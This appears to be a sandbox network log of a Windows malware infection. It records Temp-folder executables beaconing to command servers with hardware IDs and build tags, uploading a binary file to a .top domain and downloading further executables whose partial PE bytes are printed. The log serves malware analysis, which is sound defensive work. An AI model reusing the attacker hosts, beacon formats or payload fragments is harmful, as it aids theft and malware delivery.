21	192.168.2.10	49911	34.107.221.82	80	6524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:00.143754959 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 15:57:01.231192112 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 10:15:34 GMT Age: 16887 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 18, 2024 15:57:11.379784107 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.10	49916	185.215.113.206	80	1432	C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:01.648623943 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:57:02.991187096 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:57:03.006015062 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 46 33 31 45 43 46 33 44 33 32 30 38 39 32 35 37 30 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"C79F31ECF3D32089257003------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"stok------FCAEBFIJKEBGHIDHIEGI--
Dec 18, 2024 15:57:03.451378107 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.10	49938	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:08.690161943 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016940001&unit=246122658369
Dec 18, 2024 15:57:10.041906118 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.10	49944	185.185.71.170	80	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:09.468815088 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 28643 Content-Type: multipart/form-data; boundary=------------------------YpE7DWycHQqN81F1KPDwRi Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 59 70 45 37 44 57 79 63 48 51 71 4e 38 31 46 31 4b 50 44 77 52 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 75 79 6f 74 75 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f9 68 e5 4a b8 0b 41 95 1b f1 93 90 22 ec aa 68 a8 b3 3b 51 21 eb d3 c5 b7 d0 eb 4d 75 2f 1f fa 82 6b 13 f7 94 76 69 54 5a 02 d4 0d ad 4e 8c 21 1c c3 29 74 42 51 47 cd 04 49 2a f5 6c 69 77 5f 76 a9 2c c5 87 88 e8 d5 21 8a 03 d1 52 7b 55 24 fe e2 4e 37 c5 2f 70 4e b2 f6 25 96 04 0e c8 31 da c4 c0 43 76 ba 7f 3d e0 5a ea 90 15 64 f1 05 f1 5c d1 cb 08 96 d1 5d ad 9a 92 22 0e e3 c9 de f4 98 1d da c7 b6 38 2a b6 c7 0b 94 ca 2e 29 ed d9 33 57 28 13 a6 3c 37 0a b4 b5 d4 7e d8 59 8c a3 21 f1 28 d0 b5 82 0e 26 57 98 ca 8e 46 9e 7a 9e [TRUNCATED] Data Ascii: --------------------------YpE7DWycHQqN81F1KPDwRiContent-Disposition: form-data; name="file"; filename="Suyotuf.bin"Content-Type: application/octet-streamhJA"h;Q!Mu/kviTZN!)tBQGIliw_v,!R{U$N7/pN%1Cv=Zd\]"8.)3W(<7~Y!(&WFz=w8gui^B,kg_%d%jWVAfw+C7='9X\|:"/z>j;_TC`+bH6u"z)86%ElITHIicenkw[D_{-bIrm9 S8TQSFx-\|`x4dMim2D,WZXLl#Q+QW^\|6):k-?biJN'M[1E=}<Z)mH9.\#!,llC;uTQv@bW!D!\|q\eBaRqSCwHCK^q"MM6>y\|c\jBF?GM@h01ryDA##S9^9h(f>ZcOR/;Gazz=v(N\|[.t}/XVnZ9P!Aex0:IZn\._[r[0!m&_ [TRUNCATED]
Dec 18, 2024 15:57:09.590303898 CET	14832	OUT	Data Raw: f4 7a d6 21 fa 9b b2 c7 9e bb 29 12 a4 c2 8f 35 6e 30 bd de 4f c7 cc 57 df 54 25 25 3d 51 04 4c 70 9f 42 31 07 06 4d 35 53 65 a1 49 23 42 05 c2 27 e3 fb 4c 56 35 cf 4e a4 7d 07 1d c1 dc b3 cb 17 01 3b bb b3 9b ac f7 7d dd f5 1a f1 ff a8 16 c3 6a Data Ascii: z!)5n0OWT%%=QLpB1M5SeI#B'LV5N};}j(,aG1^ ]s,hFCnyGqNAz0e^M>,z -CCz_8~j4bW$Rn%4WL3l.fH[0M[?.?DK
Dec 18, 2024 15:57:09.590363979 CET	1635	OUT	Data Raw: 6a 04 01 f9 be c8 a6 ed 2c 5b 63 f9 68 10 fc a6 dc 3c e4 fa d8 cb 06 e3 37 77 a1 8a e0 b9 f6 95 ae 8e 35 7b f4 49 f5 bf 64 23 f8 b8 92 fb 93 7e 2c 3b 66 6b d6 d4 da 46 71 f3 ea 69 be 52 24 2e d9 da 9d 6e 3f f7 d4 55 b2 48 20 1c ed 4d 71 4f 46 bc Data Ascii: j,[ch<7w5{Id#~,;fkFqiR$.n?UH MqOFCqrD_GW5J!Rn-AEyiAa$+s5TG~/mqEbiBpgRVi^1Y$p7>&(,M0/N!<$_z^aorW#a_"
Dec 18, 2024 15:57:11.036134005 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 14:57:10 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 21 x-ratelimit-reset: 1734535460 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	49945	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:10.168421030 CET	61	OUT	GET /files/x3team/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:57:11.531317949 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:11 GMT Content-Type: application/octet-stream Content-Length: 3286016 Last-Modified: Wed, 18 Dec 2024 13:43:08 GMT Connection: keep-alive ETag: "6762d16c-322400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELVP/Z/ 0@ 2@/K0@W`23/ H.text/ / `.rsrc@W0X/@@.reloc`2"2@B/H@C@z6+(B99(:+(^A(!(*(0(8yEcO/8^s :&8s8s 9& 8s 8s800000**00**
Dec 18, 2024 15:57:11.531332016 CET	1236	IN	Data Raw: 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 22 00 14 a5 2e 00 00 01 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 Data Ascii: 0".**(~(s;(=t80*0(00*0
Dec 18, 2024 15:57:11.586846113 CET	1236	IN	Data Raw: 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a Data Ascii: *******************************
Dec 18, 2024 15:57:11.586858034 CET	1236	IN	Data Raw: 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0**((*0**(*"r***(**0
Dec 18, 2024 15:57:11.651283979 CET	896	IN	Data Raw: 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: **********0e********"r***
Dec 18, 2024 15:57:11.651298046 CET	1236	IN	Data Raw: 2a 41 1c 00 00 02 00 00 00 34 00 00 00 83 01 00 00 b7 01 00 00 0d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 02 00 30 00 14 44 00 40 00 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a Data Ascii: A400D@*""""r*"*""r
Dec 18, 2024 15:57:11.706886053 CET	1236	IN	Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 Data Ascii: 0*(00*(00"-*0ALB*
Dec 18, 2024 15:57:11.706921101 CET	1236	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a Data Ascii: 0*(**"(*0004O70*^}
Dec 18, 2024 15:57:11.706933975 CET	672	IN	Data Raw: 00 3b 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 77 01 00 00 b2 02 00 00 29 04 00 00 13 00 00 00 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 Data Ascii: ;0Aw)00*0X( 8Eq8 :&8*~: 9& 8~ 8
Dec 18, 2024 15:57:11.706939936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 02 00 76 00 84 fa 00 59 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 Data Ascii: 0vY0*0( 8EQe8L8G8~9 9&8sV 9& 8~ 80
Dec 18, 2024 15:57:11.706964016 CET	1236	IN	Data Raw: 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 4c 00 00 02 00 00 00 59 00 00 00 55 00 00 00 ae 00 00 00 0f 00 00 00 00 00 00 00 02 00 00 00 df Data Ascii: (00ALYUeDZy04000A4^(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.10	49952	185.185.71.170	80	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:12.329936981 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 35 75 4c 76 54 4a 66 47 4f 39 7a 46 56 39 31 55 31 37 33 34 35 33 33 37 38 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "5uLvTJfGO9zFV91U1734533788", "data": "Done2" }
Dec 18, 2024 15:57:13.859651089 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 14:57:13 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49964	185.215.113.16	80	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:19.206002951 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 18, 2024 15:57:20.148966074 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:19 GMT Content-Type: application/octet-stream Content-Length: 2874880 Last-Modified: Wed, 18 Dec 2024 14:25:29 GMT Connection: keep-alive ETag: "6762db59-2bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 89 96 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@@O,@M$a$$ $h@.rsrc$x@.idata $z@epdlxdrm@$<\|@ksjtzbhlO+@.taggant0O"+@
Dec 18, 2024 15:57:20.148974895 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:20.148988962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:20.148994923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:20.149007082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:57:20.149013042 CET	1236	IN	Data Raw: 70 69 3b ad cb f2 3c e4 29 df f8 ea 6d f7 fb 48 f5 00 06 1b b0 e0 6b 0c 5b f6 2d 49 7d 1f 1b 39 65 9b 18 1f 63 5d 6d ae f5 5f 97 c9 72 50 17 0b 32 e0 77 22 c0 f1 1c 56 68 de d2 ff f2 5b 53 52 54 e3 f8 bf cd a8 47 80 7c b9 82 90 73 d7 29 0d 6b 52 Data Ascii: pi;<)mHk[-I}9ec]m_rP2w"Vh[SRTG\|s)kR:/t2StdN_qb8~& zXjE<Gr62l`.;[[DcZ_nC_naS+9P59<^] "S"ao.H"'h"
Dec 18, 2024 15:57:20.149039030 CET	1236	IN	Data Raw: ca 82 11 6f 8e 90 e2 d0 09 bf 07 7b 04 e8 cf 7a af e4 c2 bd 99 c2 31 8b 2b 8f a8 00 7f df 62 96 dd c6 b1 b3 89 d5 45 d5 63 30 5f bd 5d 0c e4 89 11 50 c9 06 1f e4 ea 89 9c f0 10 7e 81 c1 ab 41 2e c6 18 0c 1c 18 c3 c6 99 ab c7 42 d1 f6 fd 01 23 68 Data Ascii: o{z1+bEc0_]P~A.B#h&;RfgwWzt+wj/$BVU{^FG'g)n(i:Fl'lJq5EA#[k)m>k?YeBQ 0P7=
Dec 18, 2024 15:57:20.149175882 CET	552	IN	Data Raw: f2 96 02 3b 8b 2e 38 87 89 e5 de 32 e5 20 77 0b 2a 6b 1d b8 57 ee 6e 72 c9 20 2b 79 88 15 de 0e 70 d5 08 04 b6 ee 76 72 f2 fc 3a f7 c4 a1 ee 4b 32 20 46 a3 17 02 e1 10 97 f7 28 76 61 63 3f 53 9f f9 fa d9 79 f7 17 b3 b7 a4 e8 f9 0c 92 a5 81 f2 13 Data Ascii: ;.82 wkWnr +ypvr:K2 F(vac?Sy22"~j41Z-R2S nJa:)9i,P21~e!4A6w"C?74+2uXfZ(%(oZj@lYJ0O'&AO
Dec 18, 2024 15:57:20.149183989 CET	1236	IN	Data Raw: 8e 3b c4 8a f3 8e be 3a 2b 2a ba 1e 5d 40 77 0b 9e e7 5c 0a bf f5 9f eb a5 00 4f 0a 1e 69 bd 61 2b f4 26 bc 43 05 aa 17 8e 40 09 93 8a af 22 2d 56 2e 35 1c 4a e6 a6 72 d9 99 ad aa 39 20 35 e7 5a fe 08 c3 06 06 c4 bb 5c 46 bf bc 62 7a 37 48 71 23 Data Ascii: ;:+*]@w\Oia+&C@"-V.5Jr9 5Z\Fbz7Hq#wTj"_hj+J >tZ?Xrr,(.bfr39gYWtA.9>DWD5s%k~bbt[j~+(~6)w\Y4S/'q#r
Dec 18, 2024 15:57:20.149194002 CET	1236	IN	Data Raw: 29 22 db 1c a6 0f ff f2 19 62 28 13 ef 23 9d f3 e8 20 9d c2 e5 f7 e6 1c 3a 62 ef 8f 8b 52 09 e5 65 f4 66 1c be ef cb f3 d9 37 15 88 4b 20 53 1b 53 ee 41 bb 57 4e c3 ca cd 4f f8 7e 0a b5 ce bc 57 62 36 5f f1 67 09 f3 89 6e 8a 7a 5a 96 ba 7d 9c 92 Data Ascii: )"b(# :bRef7K SSAWNO~Wb6_gnzZ}==p.ob( =a'9OnbxW(]Z=&kz~1y4Ug(#7feY6#'W)wZOyb]UbW*&36#5YN&BcE^-&v9hR 5
Dec 18, 2024 15:57:20.268855095 CET	1236	IN	Data Raw: 25 aa 6e 9b 57 c2 3e f3 e5 20 d9 f2 5f 46 57 bc 59 22 22 f7 71 20 eb bf 57 f8 82 1d ac ce 48 11 e6 68 22 c1 85 a0 83 da e5 f4 d2 1c b2 ee 16 00 03 16 02 73 71 f7 b2 b8 55 23 20 12 ae f2 a6 10 8b 92 3e 0b f0 6e 45 8f d6 06 7f 10 2c ae 1e 7b 26 08 Data Ascii: %nW> _FWY""q WHh"sqU# >nE,{&` ow4Z#R&5 Gb g(s]&J_D"95NpBbs/Bz5?+OTYk^@ed{"%%W~&%3Z2,Z%'!43

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49968	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:19.524461985 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016941001&unit=246122658369
Dec 18, 2024 15:57:20.797461033 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49971	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:20.946706057 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:57:22.271872044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:57:22 GMT Content-Type: application/octet-stream Content-Length: 2037760 Last-Modified: Wed, 18 Dec 2024 13:58:19 GMT Connection: keep-alive ETag: "6762d4fb-1f1800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 60 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^`M@MM@Vjl <@.rsrclL@.idata T@ *V@icaenpzq2X@acsraxvuPM@.taggant0`M"@
